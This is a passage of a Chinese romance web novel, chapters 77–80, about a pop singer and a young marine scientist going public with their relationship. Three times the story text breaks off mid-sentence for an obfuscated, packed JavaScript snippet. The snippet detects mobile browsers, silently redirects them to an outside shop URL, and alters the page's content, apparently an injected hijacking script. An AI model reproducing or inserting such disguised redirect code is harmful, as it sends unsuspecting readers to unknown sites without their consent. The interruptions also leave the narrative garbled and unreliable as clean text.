虽然兄妹俩的关系很好,但她刚刚毕竟是当着本人的面在嘲笑他,难免理亏。而且之后她还想没事蹭蹭他的行程出去吃喝玩乐呢。 乔之解围道:“也没什么,就是随便聊了聊。” 她转头,见程青筠投来一个感激的眼神。 何舟泽手里的矿泉水才拧了一半,看起来也是刚到。 乔之问:“你彩排刚结束吗?” “嗯。”何舟泽仰头灌了几口水。 下午是最后一次正式彩排,他到现在都还没吃东西,又累又饿。 他问了句:“你们吃晚饭了吗?” 程青筠得了个机会卖乖,当即捧上一个食品袋,殷勤道:“我们打包了晚餐,就是想陪你一起吃呢!” 她一一打开食盒,那份最寡淡的轻食显然就是给何舟泽准备的。 何舟泽见眼前泾渭分明的两种晚餐,气笑了:“我就着沙拉看你们吃大餐是吧?” “哎呀。”程青筠悄悄吐了吐舌头,“你是当红歌手,哪能吃这些!你要多多唱歌赚钱才能配上乔乔姐。” 乔之帮何舟泽拆了份餐具,安慰道:“等巡演结束,我再陪你吃好吃的。” “真的吗?那我先记下来,你不能反悔。”何舟泽说着就要打开手机备忘录。 程青筠见他没出息的样子,轻轻摇了摇头。 她心想:男人,果然很好拿捏! - 第二天傍晚,乔之和程青筠准时坐在了内场前排的VIP席位等待何舟泽出场。 她们俩拿的都是内部票,自然分到了最好的位置。 距离七点还差十秒的时候,舞台忽然开始闪烁起灯光,强劲的音乐声响起。几乎是同一个瞬间,台下的声浪传遍整个场馆。 “何舟泽——何舟泽——何舟泽——” 所有人都在呼喊着同一个名字。 终于,一个背着电吉他的男人出现在升降台上。 前奏结束的第一秒,歌声和大屏幕上他的脸一同出现,将现场的气氛再度推上新的高潮。 何舟泽是天生的舞台王者,他总是能轻而易举地就调动起全场氛围。所有人都为他呼喊。 程青筠抓着乔之的手一道挥舞着应援棒,乔之在她的带动下,忍不住也跟唱起来。 这是她看的他的第一场演唱会,但不是第一次做他的观众。 很多年以前,她也像现在这样,在台下为他尖叫和欢呼。 77.第七十七章 巡演第一站的演出圆满结束,当晚就上了好几个热搜词条。 其中,“何舟泽新歌首舞台”更是久居榜首整整一晚。 何舟泽这一次发的新专《深潜》自年前上线后,几首主打歌就一直占据各大音乐平台前列。 除了上回乔之在车里提前听过的那几首外,里边破天荒地还有三首情歌——其中之一就是《不唱情歌》。 何舟泽那些爱而不得抑或是禁欲高岭之花的传闻早就在坊间传了个遍。所以,他的名字但凡和“情歌”两个词沾边,便免不了一通热议。 这几个月来的种种到底让有心人瞧出了一些端倪,有关“何舟泽恋爱”的说法甚嚣尘上。 方鸣提前做好了准备,引导的舆论基本向好。除了暗中生事的对家和极少数极端粉丝外,多数人对此没有太强烈的抵抗情绪。 毕竟何舟泽这些年来的表现有目共睹,他不是依赖流量的偶像歌手,歌迷圈子简单干净。 团队决定在下一站演唱会结束后公布恋情。 方鸣坐在保姆车的前排,手上打字的动作不停。 他微微侧头道:“等消息发出去可就没有回头路了。” 他是对着后排那两位说。 何舟泽“嗯”了声,说:“接下来可能要辛苦你了。” 方鸣摆摆手道:“你跟我说这些做什么。不过我还是担心乔老师这边……” 何舟泽常年在长枪短炮之下,天大的事在他那儿都激不起水花。 可乔之不一样,她是圈外人。无论他们团队做了多少保密工作,依旧难以保证她不会被扒出来。她不一定能禁得起旁人的打搅。 乔之摇头说:“我没关系。” 何舟泽轻轻捏了捏她的手。 方鸣见当事人都下定了决心,便不再说什么,转回去校对文案。 程青筠嚎叫了一晚上,精疲力尽。她在最后排休息,险些就昏睡过去了。 她临睡前听到车里刚刚的对话,一下又清醒了过来。 她扒着何舟泽的车座靠椅,探出头来:“什么?你们是准备官宣了吗?” 只言片语就推理出了全貌,她在磕cp这件事上向来天赋异禀。 何舟泽没好气地笑道:“你这么敏锐不去当娱记真是可惜了。” 程青筠才不管他的调侃,揪着问:“不会是真的吧?你们真要官宣了?什么时候啊?” 她接连抛了好几个问题,像极了瓜田里上蹿下跳的猹。 何舟泽把她往后推了推,没打算搭理她。 坐在副驾的方鸣好心回答道:“等下一站结束。” 程青筠掏出手机查了查巡演的时间表。第二站在深州,就在下周末。 她惊呼:“下周——?” 据她所知,舅舅和舅妈也是不久前才知道何舟泽谈恋爱的事情。没想到这么快他就准备公开恋情了。 谁曾想,半年前这两个人还装作不认识,这两个月的进展竟如此迅速。 不过程青筠没来得及多说什么,车在她家小区门口停下了。 何舟泽赶客道:“到你家了。过几天你就开学了,早点收拾行李去,别天天八卦。” 程青筠向他吐了吐舌头,蹦跳着下了车,临走前和乔之道了别。 刚刚一直沉默开车的小王这时开了口:“哥,我们今天是要去山庄住吗?” 何舟泽点头道:“对。夜里山路不好开,辛苦你了。” 小王口中的山庄其实是何舟泽家里的茶庄,位于春明市北郊的一座山上。他父母在茶庄里开了个度假民宿,旺季的时候会接待前来体验采茶和制茶的游客。 不过眼下刚过冬,采茶期还未到,山庄并不对外开放,里边只有少数工作人员。 离江大开学还有一天,何舟泽想到乔之喜欢春明茶,便决定带她去茶庄住一晚。 去山庄的路有些漫长,乔之窝在车座椅里几近睡去。 何舟泽给她盖了一层薄毯,示意小王关掉了车载音乐。 车厢顿时静了下来,只有透射进来的月光还在其间缓缓流动。 今晚尚未满月,但高悬的月亮已经蓄满了力,照亮了他们上山的路。 夜里的风夹带着雾气,湿漉漉地贴上了山间行驶的车辆。 兜兜转转,深色的保姆车在半山腰的建筑前停下。 何舟泽轻轻摇醒了乔之,柔声道:“乔乔,我们到了。” 乔之揉了揉眼,见车前立着一幢古色古香的民居。有人已在门口等候多时。 何舟泽先下了车,与迎过来的银发老人轻抱了一下。 “张叔,这么晚了您怎么还不去睡?” 等待他们一行人的是茶庄如今的管事张叔。张叔在何家待了很多年,看着何舟泽长大,算得上是半个自家人。 他道:“这不是听说你要来吗?你啊……我现在是一年到头也见不到你几面,哪里舍得睡觉。” 张叔慈爱地拍了拍何舟泽的手臂,又见随后下车的乔之,立马过去招呼道:“你就是乔乔吧?我早就听小何提起过你,今天终于见到人了。” 乔之已醒了神,看清人后乖声道:“张叔好。” 张叔没想到乔之竟知道他,顿时喜笑颜开:“好好好。你们这次不多住几天吗?山里好玩的地方太多了,一天可不够。” 末了,怕是两人不答应,他补充道:“我已经把人都支开了,保准打扰不到你们。” 这时方鸣帮着推了个行李箱过来,闻言道:“张叔,他还压着不少工作呢。” 张叔显然和方鸣已经很熟悉,当即吹胡子瞪眼道:“你们这么拼做什么?年轻人,日子是要好好享受的。” 方鸣调侃道:“是啊是啊。但这不是老板拼命,我哪能偷懒。等下我还要回城里办事呢。张叔您帮我说他两句呗,简直就是压榨劳工。” 何舟泽拉住他,笑说:“那你和小王今晚都别走了吧。” 方鸣嘴上说着被压榨,实际上工作积极得很。 今晚演唱会刚结束,一大堆事情等着他处理。几人没说几句,他就要辞别。 这边张叔带着留下的两人往房子里走,嘴里叨叨着山上好玩的新鲜事,像是仍不甘心让他们马上就走。 乔之一边听着,顺嘴应几句,一边偷瞄着自己和何舟泽交握的手。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13963944|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在长辈面前这样大咧咧地牵手,她感觉有些耳热。 何舟泽似乎是注意到了她的小动作,故意在她的掌心挠了挠。 这下乔之的耳朵变得更红了。她想甩开何舟泽的手,却不想对方握得愈发紧了。 乔之微瞪了他一眼,却见何舟泽的笑眼里写着促狭。 好在这段路没那么长,张叔带他们穿过几道连廊,在一个房间前停下。 他道:“这个房间我一直定期打扫着,这下终于把你盼回来了。” 说着,他推开了房门。 张叔转过来对乔之说:“阿泽以前每次来山庄都住这儿,你还是他第一个带过来的人呢。” 乔之扫视了一眼房间里的摆设。 这是个套间,里边的装潢却不像一般的酒店和民宿,倒像是某个人的房间一角。书架上排列着高高低低的旧书册,桌上的时钟在滴滴答答地走针——处处都是生活气息。 何舟泽见张叔一副要将陈年旧事都拉出来讲的架势,赶紧止住了他。 “张叔,时间不早了,您也早点去休息吧。明天我们再陪你聊。” 张叔抬手看了眼腕表,时针就快要走到正上方。 他终于打消了继续说下去的念头,拍拍何舟泽的肩,叮嘱道:“那你们早点休息。明天我再带你们去工坊里逛逛。” 送别了张叔,两人终于得以觅到一点单独相处的空间。 乔之在房间里转了转,发现书架上除了音乐相关的书籍外,竟还有几本高中习题册。 她抽了本物理出来,翻开就瞧见何舟泽过去的笔迹。虽也是龙飞凤舞的模样,但比后来克制许多。 何舟泽凑到乔之身边问:“在看什么?” 乔之笑着指了指书页上的某处,道:“你这里的电场强度方向画错了——全都反了。你还给自己打了勾。” 何舟泽告别物理多年,早就把这些知识忘在了脑后。 他环抱住乔之,下巴轻靠在她的肩上,任由她嘲笑自己。 乔之记得何舟泽修读大学物理时,也一度被电磁学的内容折磨得不行。 他们非物理专业的学生说到底只需要搞懂麦克斯韦方程组*那几个公式就足以应付考试,但何舟泽好像怎么都难以理解看不见的电场和磁场。 乔之道:“电磁学还真是你的天敌。” 何舟泽闷声说:“是啊。怎么办呢?我只喜欢确切能感知到的东西。” 他喜欢一切都清晰可辨,所以他无论什么事都不喜欢遮掩。 做人坦荡,爱人也坦荡。 乔之转过身在他唇角轻啄了下,笑道:“那电磁学可太冤枉了,明明是你学不会。” “学不会电磁学没关系……”何舟泽回亲了一口,“只要我们的爱是确切能感知的就可以。” 乔之没想到他找到个话头就能说起情话,假装嫌弃地推开他,说道:“何舟泽,我可受不了你天天这样——太腻歪了。” 何舟泽被她逗得哈哈大笑。 末了,又蹭蹭她道:“那可不行。以后你要慢慢接受我的糖衣炮弹。” ——毕竟他们的日子还很长。 78.第七十八章 两人闹腾了好一阵,到了后半夜也还没睡着。 房间里已关了灯,但窗帘漏了小小的一个角,倾泻了成段的月光进来。 何舟泽转了个身,正好在半屋子的月光里对上乔之的眼睛。 他笑问:“你怎么还没睡?” 说着,他伸手环住她。 乔之轻靠在何舟泽身上,低声说:“不知道怎么了,就是有点睡不着。” 晚上的演唱会看得她很兴奋,后来她在车上又浅浅补了个觉,所以眼下没有一丁点睡意。 何舟泽搂紧了她,沉默了一会儿,心里不知道在想些什么。 忽然,他开口提议:“要不……我们一起去看日出吧?” “……?” 乔之心里虽觉得何舟泽这个想法来得突然,但最后还是跟着起了床。 长夜漫漫,他们要一起等新一天的到来。 山庄离山顶的观景台还有一段距离,为了不惊扰张叔,两人蹑手蹑脚地找出两辆自行车,奔着山顶的方向骑行。 日出前的山间公路雾气弥漫,晨露随着深色的风里降落。星辉未尽,山雾里透着点微光。 乔之已经有许多年没骑过自行车,不敢在山路上疾驰,她骑得很小心。 “你记不记得?我们以前总是在学校里一起骑车打卡。”何舟泽在她身侧不远的地方慢慢跟着。 乔之应道:“记得呀。我们那时候还常常帮他们几个打卡。” 两人说的是江临大学一贯的运动打卡的传统。 江大本科生低年级学生每学期都要完成四十八次运动打卡,完成度与体育课成绩挂钩。学校明面上要求的是跑步健身,但学生们私下都会偷偷用慢速骑行替代。 他们俩自从在一起后,几乎每天傍晚都会在学校里散步、骑车,顺带着将打卡的任务完成了。因此,他们在不到两个月的时间里就能提前达标,后半学期时不时就要帮姚朔他们几个代打。 对多数学生来说苦不堪言的运动打卡,于他们两人而言却是极好的见面理由。 江大的校园很美,乔之在一次又一次打卡的途中,与何舟泽共同走过了江临的春夏秋冬。 何舟泽侧头道:“要是没有我们,老姚有俩学期估计要挂体育课了。” 时隔多年,乔之仍然能记起姚朔当初求爷爷告奶奶的模样,跟着笑了起来。 一路说说笑笑,很快就到了地方,此时平台上空无一人。 说是观景平台,其实也不过是在一处平坦的位置修了一圈围栏。这座山不是什么有名景点,甚至算不上是非常好的赏日出位置,所以平时来这儿的人寥寥无几。 上一次他们一起看日出,是在凤鸣岛上,转眼竟已过了近半年的时间。两人的心境都与那时极为不同。 何舟泽牵着乔之的手往朝东的方向走,熟门熟路地找了一块大石板坐下。 他说道:“我读高中的时候常来这儿看日出,一开始只能席地而坐。这块石板还是我找人拖过来的。” 乔之借着微弱的星光,看见石板底部已经结了一层薄薄的青苔。这个简易的座位看起来就像是这里的土著民。 乔之笑道:“你还真是会享受。” 不仅常来看日出,还要额外布置一番。 山顶风大,何舟泽搂紧了她,嘴里倒是没辩解。 他乐呵呵地说:“高三有段时间学习压力大,我停课在山上住了小半个月,天天都来这里,可不得找个好位置嘛。” “你不是说自己的高中过得如鱼得水吗?”乔之想起来很久之前两人曾聊过类似的话题。 何舟泽道:“大部分时候都还不错。但是那会儿我刚决定要放弃艺考,以为自己这辈子都和音乐无缘了,所以对什么都提不起兴趣,成绩也下滑得很厉害。” 说完,他又庆幸:“但现在觉得那样的选择也很好。如果我真去了艺术院校,可能也不会有后来的经历,更不会遇见你们了。” 无论是江大生活、乐队,还是乔之,他感激一切的存在。 乔之还没说话,何舟泽凑近在她的耳侧,轻声道:“乔乔,我无法想象没有你的生活。” 自打两人重新在一起后,乔之时不时就会听到这样的甜言蜜语。何舟泽对情话信手拈来,她已经快听得麻木了。 不过这会儿他的语调像是调笑,却又透露着几分认真。 乔之忽然道:“我是不是没有和你说过我的高中生活?” 何舟泽停了片刻,回想他们过去的对话,乔之的确很少提自己高中的事情,他只隐约感觉她过得并不那么轻松。 乔之靠在他的肩上,想了好久的措辞才开口:“跨年那天,我在超市遇到了高一时候的班主任。她曾经公开质疑我作业抄袭,给我留下了很深的阴影。所以即使我很多年没见过她了,我还是一眼就认了出来。她邀请我回高中给学弟学妹分享心得。” 何舟泽诧异:“可是你都毕业这么多年了……” “是啊,我也觉得没必要。所以一开始我没答应她。但后来我还是回去了……”乔之轻笑了声,继续道,“因为她说她班上的学生对选科很迷茫。” 说着,她忽然转了个话头,问道:“何舟泽,你高考为什么要选理科?” 何舟泽的答案倒是很简单:“因为我们学校只有理科才有实验班……” 他的理科成绩不差,自然而然就选了理科实验班。 “我们学校也是。一个年级分三种班,最好的创新班是全理科组合。如果你选了任何一门文科,你最多只能去重点班。”乔之顿了顿,“但即便如此,她那时候还是劝我别选物化生,理由是女生学理科没后劲。” 何舟泽“啊”了一声,他没想到现在还能听到这样的论调。 乔之又扯了扯嘴角,戏谑道:“我真的好奇怪啊,明明当时高年级理科成绩最好的都是学姐,但她却视而不见。所以我高中三年一直在努力证明性别决定论的荒谬——但我后来才发现自证并不是一件令人开心的事情。” 乔之发现自己总是很容易就陷入自证的困境,高中时代的选科如此,后来面对感情时的态度也是如此——为了证明李春燕的看法错误,她过了三年苦行僧般的高中生活;为了证明自己独立清醒,她对自己和别人的感情视而不见。 她太想要被认可和肯定了,太急于证明自己,所以反而丢失了真实的自我。 “所以我就回去告诉学弟学妹们,千万别被这些言论捆住手脚,直面自我就好啦。”乔之那根紧绷的弦松了松,“然后我决定自己也要这么做——方方面面都是。” 乔之转过头看着何舟泽,郑重道:“就像我爱你,一直都是。何舟泽,我以后不会再否认了。” 太阳不知何时悄悄露出了一个角,金色的微 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13977480|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光从天际线上倾泻出,渐渐照亮了山顶的观景台。 何舟泽看见眼前的人露出了少见的灿烂笑容,就像多年前的那个雪天,其中却又蕴含着更沉静厚重的力量。 他抱住了她:“这可是你说的,我已经记下了。” 两人在日出时刻紧紧相拥,等待新的一天开启,也等待新生活拉开帷幕。 过了许久,何舟泽埋在乔之颈窝闷声道:“乔乔,我好像每一天都比前一天更爱你。” - 张叔一早起来在门口醒神,却瞧见何舟泽和乔之从外头回来。 他像是早有预料般,笑眯眯道:“又去看日出了啊?” 张叔从多年前起就一直负责管理这座茶庄,何舟泽高三停课那段时间便是由他在照料,所以他对何舟泽去山顶看日出习以为常。 何舟泽还牵着乔之的手,脸上挂着的笑压抑不住。 他道:“好多年没来过了,昨晚心血来潮就决定去看看。” 忽然间,一只黑棕色的猫蹿了出来,像是识得人一般在何舟泽脚边停下,尾巴勾着他的小腿一摇一摇。 乔之轻叫了一声,刚想忍蹲下身逗猫,何舟泽便已低身将猫咪抱起。 等凑近了,她才发现这是一只暹罗猫,黑了大半个身子,但毛色却仍是泛着健康的光泽。 张叔乐呵道:“看来小汤圆也想你了,好久没见她蹦跶这么欢了。” 乔之伸手轻轻地挠了挠猫咪的脑袋,听见“汤圆”这个名字,惊讶地开口:“啊,这就是……” 何舟泽接过话头:“对,这就是之前那只暹罗。” 汤圆最初由何舟泽爷爷照料,后来老爷子去世后又被留在了何舟泽家里。乔之曾在视频通话里见过许多次,对它那对晶莹的蓝眼睛印象深刻。 汤圆很乖巧,顺从地接受乔之的爱抚。 何舟泽道:“汤圆十三岁了,是一只老猫了。我妈觉得山里空气好,就送她来这儿养老。” 说罢,他又对张叔道:“辛苦张叔了,汤圆最近怎么样?” 张叔领着两人一猫往餐厅走,应道:“汤圆越来越不爱动了,不过胃口还挺好。她可想你了。你看看,这不一个劲儿地往你身上蹭嘛。” 汤圆跟着“喵喵”叫了两声,像是在附和张叔的话。 民宿里本来有一间给前来体验的客人提供餐食的餐厅,但今年的头采还得再等上一段时日,山庄尚未对外开放,所以几人这会儿去的是员工食堂。 山庄到底在郊区,留在这边的人不多。几人走进餐厅时,里头只有寥寥几位在埋头吃饭。 不过早餐看起来还是很丰富,中西式各类餐点均有供应。 何舟泽今天要带乔之去体验各类茶产品的制作流程,所以大家吃得简单,结束了便跟着张叔往工作坊走。 何家主要的加工厂其实不在山庄里,这边只是留了几套供游客参观体验的设备。好在乔之最感兴趣的茶香氛设备很齐全。 何舟泽从前常用这款香,乔之与他相处久了,便把这个味道与他本人挂上了钩。 这一走进屋子,清幽的茶香便钻入了鼻腔,仿佛走进了一个“何舟泽”的世界。 乔之用气声玩笑道:“何舟泽,这里好像有一万个你,我要被淹没了。” 何舟泽听懂了她的笑话,摇了摇她的手道:“那你可要抓紧我,我才是真的。” 79.第七十九章 说话间,张叔拉来一个工作人员为他们介绍制香流程。 茶叶的经济价值在其本身,所以市面上一般的茶香水大多并不真的从茶叶中提取香氛物质,而是通过不同化学物质进行香味的模拟。何家所制作的茶香也只是使用了一部分从茶叶中提取的香味物。 配制香水的过程并不复杂,乔之作为学理科出身的科研人员,对这些手法自然是很熟悉。 她按照配比将所需的精油滴入瓶中,刚将其与茶香基底液混在一起,却见坐在边上的何舟泽又拎了另一个小瓶子过来。 她抬眼,见瓶身上写着“海洋”二字。 她问:“怎么了?” 何舟泽正拧开瓶盖,看似随意般往自己面前的试剂瓶中挤入了一滴精油。 他道:“想试试能不能配出什么特别的香味。” 一边的工作人员插嘴道:“您这个加进去后可能会增加一点水生调的清香。” 乔之凑近了闻,果然捕捉到了一股不寻常的香气。再对比自己配制的这一瓶,海洋味在收敛含蓄的茶香中稍显侵略性。 她指着瓶子委婉道:“……好像有点奇怪。” 何舟泽没着急解释,只是继续按照步骤加入基底液,混匀了又递过来问乔之:“现在呢?” 乔之这一回闻见的香味竟然出乎意料地和谐。内敛的茶香中夹带了一丝海水的凛冽,无端多了一种沉静的力量。 她笑问:“你怎么会想到这样的搭配?” 何舟泽端着自己手中的瓶子,像是要和乔之碰杯一般撞了撞她的那瓶,凑过来说道:“好不容易能和乔乔一起玩这个,所以想留下一点你的印记。以后就不仅仅是‘何舟泽’的茶香了,而是何舟泽与乔之的香。” 他胡诌的理论总是一套一套的,就像上次在凤鸣岛向财神爷许愿,谁都找不出逻辑的漏洞。还别说那一回两个人还真的都实现了心愿。 所以这一次,茶香和海洋香也许真的会从此如影随形。 就像他们一样。 - 初春时节,江临大学新学期开学,而何舟泽的巡演也在有条不紊地开展着。 巡演的第二站在深州,离江临相去甚远。 自打从春明市回来后,乔之没再见过何舟泽。两个人都太忙,只能每天晚上抽空打视频电话。 按照方鸣的计划,何舟泽的恋爱情况将在深州演唱会结束后公布。 “乔乔,你会害怕吗?”视频那边的何舟泽正靠在酒店的床上。他离镜头近,那张好看的脸被放得十足大,但却找不到一丝瑕疵。 乔之摇摇头,像是在安抚他:“不会,你别担心啦。” 这段时间,何舟泽比乔之本人还要焦虑,甚至隐隐有些后悔这个决定。 他爱得坦荡,但不意味着要将乔之推到窘境。比起从前,他不自觉地顾虑更多。 乔之听出他的嗓子稍有些沙哑,又关心道:“今晚是不是唱得很累?有含润喉片吗?要不你打字吧,好好保护嗓子。” 何舟泽却舍不得挂掉视频,只说:“没关系,休息一晚就好了。” 乔之想到他第二天晚上还有一场演唱会,心里只想着让他早点休息。 她劝道:“你早点睡觉好不好?明天还有一场呢。” 看她哄小孩般的模样,何舟泽勾了勾唇角,道:“我再看你一会儿就去睡。” “下周就能见面了,你可以在江临待好久呢。不差这么一会儿。” 巡演第三站在江临,中间还有一个多星期的休息时间,他们几乎可以天天见面。 但何舟泽这段时间越发黏人,乔之劝了好一会儿,他才终于松口:“乔乔,你等我睡着再挂好不好?” 乔之听他像个孩童般缠人,只笑着答应:“好~何舟泽小朋友,睡觉时间到了,乔老师来哄你睡觉。” 许是真的累了,何舟泽过一会儿就没了动静。乔之看着屏幕上平静的睡颜,能听见那头均匀的呼吸声。 她看了好一会儿,才悄悄挂断了电话。 两天后,周一上午,何舟泽个人微博与工作室账号在同一时间发布了一条消息。 @何舟泽:抱歉占用公共资源,在此我想向各位支持我的歌迷们澄清一件事。这些年有关我为什么不唱情歌的传言有很多,其中或多或少掺杂了一些不实的猜测与假想。实际上,这个问题的答案很简单——我只是觉得自己还没到合适的时间。今年的新专与以往有所不同,因为那个时机在不久前悄然到来了。是的,我恋爱了,对方是我深爱和珍视的人。她是圈外人,希望大家能对我的私生活保持距离,更多地关注音乐本身。同时感谢各位多年来的支持与陪伴,今后我会创作出更好的作品。[图片] 这条微博之后,还附带了一封很长的手写信,足以见其真挚诚恳的态度。 没过多久,“何舟泽恋爱”的消息再度在热搜顶部爆了。 这条微博的评论数短短几分钟就冲破了十万。 【我就说他最近一直在预防针!唱情歌、采访视频、人物专访,到处都是线索啊啊啊啊】 【虽然心里已有预期,但还是有点难过5555】 【听hzz唱情歌果然是有代价的[流泪]】 【只要你接着发歌,妈妈就同意这门婚事[流泪][流泪]】 方鸣的手机响个不停,四面八方的媒体都来打探消息。 何舟泽本人的手机也涌入了无数讯息。 好在方鸣早有布局,大多数人的态度还比较理智。私下想要八卦女方身份的人虽不在少数,但怎么也没挖到什么有效信息。 不过无论如何,他都不放在心上了。因为他马上就能和阔别已久的乔乔见面了! 热搜发酵了一整天,在榜单顶部高悬,乔之自然也看见了。 然而周一她的工作满档,所以没花太多时间在上面。再者,她一点也不担心方鸣的工作能力。 即便真的被人察觉出来,她也并不害怕。 她是何舟泽的女朋友,但同样也是她自己,是个心有抱负的青年科学家,有自己的事业和追求。 等到傍晚下了班,她刚推开家门就瞧见玄关处摆着一双男鞋,厨房里的油烟机在“轰轰”作响。 乔之喜不自胜地跑进厨房,果然看见何舟泽正关上火,端着平底锅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13992941|141525||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在装盘。 “你怎么今天就到了?”她从身后抱住他,声音里带着一丝惊喜。 按照原来的行程安排,他应该明天才到江临。 何舟泽擦了擦手,转过来微笑道:“太想你了,所以就提前来了。” “况且——”他故意拉长了声音,“我可不想明天在机场被人围堵。” 顶流歌手公开恋情毕竟是个大新闻,提前改签能避开很多麻烦。 两人走出厨房。乔之见餐桌上摆着几个菜,样式丰富,显然是花了心思。 她感动道:“你怎么一来就当上田螺姑娘了?” 何舟泽低头蹭了蹭她,笑说:“你不高兴吗?” “当然高兴。”乔之又抱紧了他,靠在他的胸前闷声道,“但是只要你来我就已经很高兴了!一下飞机就来给我做饭太辛苦了。” 何舟泽抱着她,说道:“那怎么办呢……你要不再奖励奖励我,亲一下就行。” 乔之抬头,在他的唇角飞快地轻啄了一下,却不想刚离开几寸的距离,就被何舟泽扣住了脑袋。 他的吻万分炽热,浓缩了多日不见的想念。 乔之被亲得双腿发软,好半天才推开他,喘着气道:“……饭菜都要冷了。” 何舟泽的眼睛染上了一层薄雾,里面全是探不清的欲念。 他咬着乔之的耳垂,哑声道:“可是……我现在有其他更想做的事情了怎么办?” 乔之的耳朵敏感极了,倏一下就变得全红,引得何舟泽又忍不住亲了亲。 然后……便一发不可收拾。 最后饭菜热了又热 ,晚饭吃成了夜宵。 - 何舟泽家离江大远,而乔之平日还要上班,所以两人一直住在教职工公寓里。 好在江大阔绰,乔之分配到的公寓足以容纳两个人生活。 离江临的演唱会开场一个多星期,这些时日何舟泽除了出门彩排和对接工作外,几乎都窝在了这间公寓里。乔之每天傍晚下班时,总能吃到他做好的饭菜。 生活平淡又幸福,乔之的工作也进展得很顺利。 她利用上半年在海洋馆收集的数据写了一篇野生、圈养和放流海豚行为研究的论文,最后文章被业内顶部期刊接收了。 除此以外,风鸣岛的海豚放流训练站的建设也在稳步开展。 这天,她收到了一条微信:【乔老师您好,上次那篇有关动物表演的专访反响很好,同时江临市的海豚放生活动也受到了很大的关注。我们编辑部计划做一个后续报道。您是江临市首例海豚放生的推动者,我想和您约一个深度专访。】 发消息的是温言那位记者朋友,上次采访时乔之与她相谈甚欢,结束时还加了微信好友。 乔之看过他们后来发布的报道,内容聚焦各类动物表演的历史沿革,中正地评价了当下存在的问题与挑战,她所提供的信息只在其中占了很小的篇幅。但这回听记者的意思,似乎是围绕她本人进行人物专访。 对方又发来了初步的采访提纲,看起来诚意十足。 乔之慎重考虑了一番,最终答应下来,和她约了周五。 80.第八十章 周五下午,新闻周刊的记者如期而至。 记者按照采访提纲问了乔之不少关于海豚放生事件的前因后果,抽丝剥茧,将事情原貌完完全全地挖掘了出来。 最后,采访还落在了乔之本人身上。 记者问:“乔老师,请问是什么给了你勇气去做这个先驱者呢?” 乔之谦虚道:“其实算不上是先驱者,国内外都有先例,我只不过是在推广上做了新的尝试。虽然过程的确有些艰难,这对我来说也是全新的体验。” 记者想到了几个月前余惜文院士在网上爆红的一段讲话,当时余院士提到了一位年轻老师的困惑,后来有人将此与乔之的经历联系上了。 于是她顺势问道:“几个月前,余惜文院士曾在一场青年科学家座谈会上提到,有一位科普动物表演的青年科学家曾迷茫于自身职责。她说的人是你吗?” 乔之没想到她会提起这次讲话,点点头道:“是我。余院士当时问我,专注理论、突破人类认知上限的科学家与关心世界、推动社会变革的科学家,哪一种更高尚。” 记者见乔之的神色淡然,像是心中早已有定论。 她笑着问:“您现在有答案了吗?” 乔之也跟着笑了,温和的眉眼之间透露着自信与从容。 她回答道:“有了,也可以说没有,因为这个问题本身就没有确定的答案。实际上,推动海豚放生就缘起于一次科学研究。而现在无论是理论还是社会实践,我都得到了正面反馈。我尊重这两种选择,也愿意向任何一种努力。” …… 下午的采访持续了三个小时。 结束后,其他人收拾设备先行下去了,记者在后头与乔之搭话。 两次接触下来,她对乔之的印象很好,私人关系上也想与之深交。 两人说说笑笑又聊了一会儿。 乔之长相秀丽,气质出众。这次见面,她的举手投足比上回还多了几分自信从容,整个人散发一种淡然不自知的魅力。 采访团队里有个年轻的摄影师自第一次采访后就对她念念不忘,但自己却没胆直接来搭讪,托记者来探探口风。 记者见其他人都退出了办公室,这才低声问乔之:“乔老师,冒昧问一个问题,您现在单身吗?” 乔之愣了一愣,一时还没从刚才的话题里转过弯来。 记者似乎也觉得问得有些突然,不好意思地解释道:“我们团队里有个小伙子对你有好感,托我来打探消息呢。” 乔之微笑道:“谢谢他的欣赏。不过——我有男朋友了。” 她的声音不大,但后半句说得格外肯定。 这好像是她第一次告诉别人自己的感情状况。 比起何舟泽向来坦荡的作风,她过去总是习惯藏着掖着,因为有关亲密关系的话题让她觉得难以处理。 记者听到她的回答后倒是没太惊讶,毕竟乔之的条件在这,有男朋友并不奇怪。 她在心里为同事默哀了片刻,然后打趣说:“您这么优秀,男朋友一定也不一般吧?” 不一般吗? 乔之听到这个词后顿了片刻,而后笑着摇摇头道:“没有。我只是个普通人,他也是。” 他们都是普通人,在平凡地相爱。 就和天下所有有情人一般。 记者看了看时间,没再久留,两人随意说了几句便道了别。 等送人出了办公室,乔之才发现门口早就候了个人。 祝声抬手向她打招呼,脸上一如既往地飞扬着鲜活生动的神采。 她显然是听见了刚刚的对话,故意调侃道:“乔老师,你还普通呀?” 乔之见是她,也很是惊喜。 